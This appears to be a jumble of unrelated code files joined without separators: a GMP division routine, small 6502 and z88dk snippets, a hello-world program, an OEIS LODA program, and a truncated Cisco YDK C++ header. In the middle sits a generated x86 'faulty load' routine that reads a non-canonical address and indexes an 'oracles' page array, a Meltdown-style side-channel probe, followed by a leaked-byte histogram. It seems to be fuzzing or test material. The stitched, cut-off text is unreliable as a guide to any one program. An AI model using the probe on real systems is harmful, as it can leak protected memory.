lea -8(qp,un_param,8), qp mov CNTOFF(%rsp), R8(cnt) shl R8(cnt), d jmp L(ent) EPILOGUE() ALIGN(16) PROLOGUE(mpn_divrem_1) FUNC_ENTRY(4) IFDOS(` mov 56(%rsp), %r8 ') xor R32(%rax), R32(%rax) push %r13 push %r12 push %rbp push %rbx mov fn_param, fn mov un_param, un add fn_param, un_param mov up_param, up je L(ret) lea -8(qp,un_param,8), qp xor R32(%rbp), R32(%rbp) L(unnormalized): test un, un je L(44) mov -8(up,un,8), %rax cmp d, %rax jae L(44) mov %rbp, (qp) mov %rax, %rbp lea -8(qp), qp je L(ret) dec un L(44): bsr d, %rcx not R32(%rcx) sal R8(%rcx), d sal R8(%rcx), %rbp push %rcx IFSTD(` push %rdi ') IFSTD(` push %rsi ') push %r8 IFSTD(` mov d, %rdi ') IFDOS(` mov d, %rcx ') CALL( mpn_invert_limb) pop %r8 IFSTD(` pop %rsi ') IFSTD(` pop %rdi ') pop %rcx mov %rax, dinv mov %rbp, %rax test un, un je L(frac) L(ent): mov -8(up,un,8), %rbp shr R8(%rcx), %rax shld R8(%rcx), %rbp, %rax sub $2, un js L(end) ALIGN(16) L(top): lea 1(%rax), %r11 mul dinv mov (up,un,8), %r10 shld R8(%rcx), %r10, %rbp mov %rbp, %r13 add %rax, %r13 adc %r11, %rdx mov %rdx, %r11 imul d, %rdx sub %rdx, %rbp lea (d,%rbp), %rax sub $8, qp cmp %r13, %rbp cmovc %rbp, %rax adc $-1, %r11 cmp d, %rax jae L(ufx) L(uok): dec un mov %r11, 8(qp) mov %r10, %rbp jns L(top) L(end): lea 1(%rax), %r11 sal R8(%rcx), %rbp mul dinv add %rbp, %rax adc %r11, %rdx mov %rax, %r11 mov %rdx, %r13 imul d, %rdx sub %rdx, %rbp mov d, %rax add %rbp, %rax cmp %r11, %rbp cmovc %rbp, %rax adc $-1, %r13 cmp d, %rax jae L(efx) L(eok): mov %r13, (qp) sub $8, qp jmp L(frac) L(ufx): sub d, %rax inc %r11 jmp L(uok) L(efx): sub d, %rax inc %r13 jmp L(eok) L(frac):mov d, %rbp neg %rbp jmp L(fent) ALIGN(16) C K8-K10 P6-CNR P6-NHM P4 L(ftop):mul dinv C 0,12 0,17 0,17 add %r11, %rdx C 5 8 10 mov %rax, %r11 C 4 8 3 mov %rdx, %r13 C 6 9 11 imul %rbp, %rdx C 6 9 11 mov d, %rax C add %rdx, %rax C 10 14 14 cmp %r11, %rdx C 10 14 14 cmovc %rdx, %rax C 11 15 15 adc $-1, %r13 C mov %r13, (qp) C sub $8, qp C L(fent):lea 1(%rax), %r11 C dec fn C jns L(ftop) C shr R8(%rcx), %rax L(ret): pop %rbx pop %rbp pop %r12 pop %r13 FUNC_EXIT() ret EPILOGUE()
lda {m2} sta {m1} lda {m2}+1 sta {m1}+1
SECTION code_fp_am9511 PUBLIC acosh EXTERN cam32_sccz80_acosh defc acosh = cam32_sccz80_acosh ; SDCC bridge for Classic IF __CLASSIC PUBLIC _acosh EXTERN cam32_sdcc_acosh defc _acosh = cam32_sdcc_acosh ENDIF
.data message: db "Hello World!", 0xA message_length equ $-message .code mov rdx, message_length mov rcx, message mov rbx, 1 mov rax, 4 int 80 mov rax, 1 mov rbx, 0 int 80
; A181067: a(n) = Sum_{k=0..n-1} binomial(n-1,k)^2 * binomial(n,k). ; Submitted by Christian Krause ; 1,3,16,95,606,4032,27616,193167,1372930,9881498,71846160,526764680,3889340560,28888634400,215680108416,1617467908751,12177754012458,92004463332486,697263463622080,5298985086555090,40371796982444356,308284315438216208,2358982456484134656,18085110396928650600,138890791857581838256,1068371237908004959152,8230281928461425021056,63489825170060557732832,490397778979310960744640,3792364973635695032561792,29359933285157583038815744,227537291479652445899221647,1765122304927223556207294714 mov $3,$0 mov $5,$0 lpb $5 mov $0,$3 mov $2,$3 sub $5,1 sub $0,$5 mov $1,$3 bin $1,$0 pow $1,2 add $2,1 bin $2,$0 mul $1,$2 add $4,$1 lpe mov $0,$4 add $0,1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x19a65, %r9 nop nop nop nop nop sub %r13, %r13 mov (%r9), %ebx nop nop nop and %r10, %r10 lea addresses_UC_ht+0x647a, %rsi lea addresses_WT_ht+0x1989a, %rdi nop cmp $1620, %rax mov $60, %rcx rep movsb nop cmp $27922, %rcx lea addresses_A_ht+0x1467a, %rsi lea addresses_UC_ht+0x7b1a, %rdi nop nop nop and $31404, %r10 mov $42, %rcx rep movsl lfence lea addresses_normal_ht+0x1707a, %r13 nop nop nop nop nop cmp $36364, %r10 movb $0x61, (%r13) nop add $60713, %rsi lea addresses_A_ht+0x1e3da, %rbx nop lfence mov (%rbx), %edi nop nop nop nop and $40147, %rax lea addresses_UC_ht+0x1235a, %r10 clflush (%r10) nop nop nop nop nop xor $37530, %rcx movw $0x6162, (%r10) nop nop nop sub %rbx, %rbx lea addresses_UC_ht+0x587a, %r13 and $707, %r9 mov $0x6162636465666768, %rbx movq %rbx, (%r13) nop nop nop nop nop inc %rax lea addresses_normal_ht+0xb2e, %r13 nop nop cmp %r10, %r10 vmovups (%r13), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %rsi nop inc %rdi lea addresses_WT_ht+0x14a3a, %rdi nop sub $18088, %rax movw $0x6162, (%rdi) nop and %rax, %rax pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %r8 push %r9 push %rdi // Store lea addresses_A+0x99fa, %rdi nop sub $24696, %r15 movl $0x51525354, (%rdi) nop add %r9, %r9 // Store lea addresses_RW+0x1aeaa, %r12 clflush (%r12) nop add %r8, %r8 mov $0x5152535455565758, %r9 movq %r9, %xmm7 vmovups %ymm7, (%r12) nop nop xor $57211, %r14 // Store mov $0x7a, %rdi nop nop nop nop cmp $49257, %r13 mov $0x5152535455565758, %r14 movq %r14, %xmm6 vmovups %ymm6, (%rdi) sub $43949, %r15 // Faulty Load mov $0x154c0f000000007a, %r9 nop cmp $26387, %r13 mov (%r9), %r15w lea oracles, %r14 and $0xff, %r15 shlq $12, %r15 mov (%r14,%r15,1), %r15 pop %rdi pop %r9 pop %r8 pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_RW'}} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 2, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': True, 'size': 2, 'NT': True, 'type': 'addresses_WT_ht'}} {'4c': 4, 'f2': 4, '06': 2, '66': 3, '08': 3, '54': 5, '8e': 4, '36': 3, 'b8': 3, 'dc': 2, 'c0': 1, 'e6': 3, '1c': 2, 'b6': 3, '3c': 3, '7c': 4, '44': 2, '4a': 2, '52': 3, '5c': 3, '82': 4, '84': 2, 'de': 4, 'd0': 1, '34': 4, 'fa': 5, '02': 1, '90': 2, '86': 1, '6c': 2, 'c4': 4, 'cc': 4, 'a2': 3, 'f8': 2, '88': 3, '80': 2, 'da': 2, 'd8': 4, '22': 1, '1a': 3, '9a': 3, 'ee': 2, 'e2': 7, '46': 2, '9c': 1, '38': 2, '56': 2, '2e': 3, '0a': 3, 'bc': 1, '32': 3, '10': 5, '8a': 6, '64': 4, 'f0': 3, '00': 269, 'f4': 2, '9e': 2, 'fc': 1, 'c6': 6, '50': 2, '2c': 2, 'd2': 2, '6e': 2, '30': 2, '58': 21234, '7a': 3, 'd4': 2, '28': 3, 'e4': 1, '70': 2, '78': 2, 'ca': 3, 'ce': 1, 'b4': 2, 'c8': 1, '04': 2, 'e0': 4, '72': 3, '92': 1, '3a': 5, 'aa': 1, 'be': 3, '62': 3, 'ec': 1, '98': 2, 'ac': 4, '48': 1, '1e': 6, 'a0': 4, '96': 3, '76': 2, '24': 3, '42': 1, '68': 1, '40': 7, '18': 2, '60': 4, '16': 3, 'ea': 1, 'd6': 2, '2a': 4, 'c2': 2, '0e': 7, 'a8': 2, 'fe': 5, '0c': 3, 'b2': 2, '20': 4, 'ba': 1, 'b0': 4, '8c': 3, '74': 2, 'a4': 2, 'e8': 5, '7e': 2, '12': 3, '4e': 3, 'a6': 2} 58 58 58 44 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 0a 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 5c 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 a0 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 de 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 8a 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 d4 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 06 58 58 58 58 58 58 58 58 58 58 d8 58 58 58 58 58 58 58 58 58 d2 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 34 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
#ifndef _CISCO_IOS_XR_INFRA_POLICYMGR_OPER_47_ #define _CISCO_IOS_XR_INFRA_POLICYMGR_OPER_47_ #include <memory> #include <vector> #include <string> #include <ydk/types.hpp> #include <ydk/errors.hpp> #include "Cisco_IOS_XR_infra_policymgr_oper_0.hpp" #include "Cisco_IOS_XR_infra_policymgr_oper_45.hpp" #include "Cisco_IOS_XR_infra_policymgr_oper_46.hpp" namespace cisco_ios_xr { namespace Cisco_IOS_XR_infra_policymgr_oper { class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::TunnelNameRegex : public ydk::Entity { public: TunnelNameRegex(); ~TunnelNameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::TunnelNameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UserName : public ydk::Entity { public: UserName(); ~UserName(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UserName class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UserNameRegex : public ydk::Entity { public: UserNameRegex(); ~UserNameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UserNameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsername : public ydk::Entity { public: AuthUsername(); ~AuthUsername(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsername class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsernameRegex : public ydk::Entity { public: AuthUsernameRegex(); ~AuthUsernameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AuthUsernameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsername : public ydk::Entity { public: UnauthUsername(); ~UnauthUsername(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsername class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsernameRegex : public ydk::Entity { public: UnauthUsernameRegex(); ~UnauthUsernameRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UnauthUsernameRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomain : public ydk::Entity { public: AuthDomain(); ~AuthDomain(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomain class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomainRegex : public ydk::Entity { public: AuthDomainRegex(); ~AuthDomainRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AuthDomainRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomain : public ydk::Entity { public: UnauthDomain(); ~UnauthDomain(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomain class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomainRegex : public ydk::Entity { public: UnauthDomainRegex(); ~UnauthDomainRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::UnauthDomainRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::VendorId : public ydk::Entity { public: VendorId(); ~VendorId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, 